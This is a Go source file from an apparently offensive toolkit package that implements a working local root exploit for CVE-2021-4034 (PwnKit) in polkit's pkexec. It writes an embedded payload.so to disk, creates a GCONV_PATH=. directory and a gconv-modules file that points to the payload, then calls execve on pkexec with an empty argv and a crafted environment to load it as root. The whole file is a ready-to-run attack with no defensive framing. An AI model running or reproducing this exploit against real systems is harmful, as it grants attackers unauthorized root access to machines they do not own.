CVE-2021-4034.go

package golpe

import (
	"errors"
	"fmt"
	"log"
	"os"
	"os/exec"
	"syscall"
	"unsafe"
)

// a Go approach
func CVE_2021_4034() (err error) {
	var (
		argv []string = nil
		envv          = []string{
			"lol",
			"PATH=GCONV_PATH=.",
			"LC_MESSAGES=en_US.UTF-8",
			"XAUTHORITY=../LOL",
		}
		gconv_path_eq        = "GCONV_PATH=."
		gconv_module_content = "module  UTF-8//    INTERNAL    ../payload    2\n"
	)

	// prepare payload.so
	data, err := ExtractFileFromString(so_data)
	if err != nil {
		return fmt.Errorf("ExtractFileFromString: %v", err)
	}

	// write payload.so
	if len(data) == 0 {
		return fmt.Errorf("failed to decompress payload.so")
	}
	err = os.WriteFile("payload.so", data, 0777)
	if err != nil {
		return fmt.Errorf("write payload.so: %v", err)
	}
	defer os.RemoveAll("payload.so")

	// fuck with env
	if _, err = os.Stat(gconv_path_eq); err != nil {
		if err = os.Mkdir(gconv_path_eq, 0755); err != nil {
			return fmt.Errorf("mkdir %s: %v", gconv_path_eq, err)
		}
		defer os.RemoveAll(gconv_path_eq)
		_, err = os.Create(gconv_path_eq + "/lol")
		if err != nil {
			return
		}
		// without +x bit, pkexec complains no such file or directory
		err = os.Chmod(gconv_path_eq+"/lol", 0755)
		if err != nil {
			return fmt.Errorf("chmod lol: %v", err)
		}
	}

	// gconv-modules
	if _, err = os.Stat("lol"); err != nil {
		if err = os.Mkdir("lol", 0755); err != nil {
			return fmt.Errorf("mkdir lol: %v", err)
		}

		/*
		   Returning to the example above where one has written a module to directly convert from ISO-2022-JP to EUC-JP and back. All that has to be done is to put the new module, let its name be `ISO2022JP-EUCJP.so`, in a directory and add a file gconv-modules with the following content in the same directory:

		   module  ISO-2022-JP//   EUC-JP//        ISO2022JP-EUCJP    1
		   module  EUC-JP//        ISO-2022-JP//   ISO2022JP-EUCJP    1
		*/
		err = os.WriteFile("lol/gconv-modules", []byte(gconv_module_content), 0777)
		if err != nil {
			return fmt.Errorf("write gconv-modules: %v", err)
		}
	}

	// run pkexec
	pkexec_path, err := exec.LookPath("pkexec")
	if err != nil {
		return
	}

	argv0 := pkexec_path
	argv0p, err := syscall.BytePtrFromString(argv0)
	if err != nil {
		return fmt.Errorf("argv0p: %v", err)
	}
	envvp, err := syscall.SlicePtrFromStrings(envv)
	if err != nil {
		return fmt.Errorf("envvp: %v", err)
	}
	envv = []string{
		"lol",
		"PATH=GCONV_PATH=.",
		"LC_MESSAGES=en_US.UTF-8",
		"XAUTHORITY=../LOL",
		"\x00",
	}
	log.Printf("argv0: %s, envv: %v", argv0, envv)

	// child
	_, _, err = syscall.RawSyscall(syscall.SYS_EXECVE,
		uintptr(unsafe.Pointer(argv0p)),
		uintptr(unsafe.Pointer(&argv)),
		uintptr(unsafe.Pointer(&envvp[0])))

	return errors.New("if you see this, CVE-2021-4034 exploit has failed")
}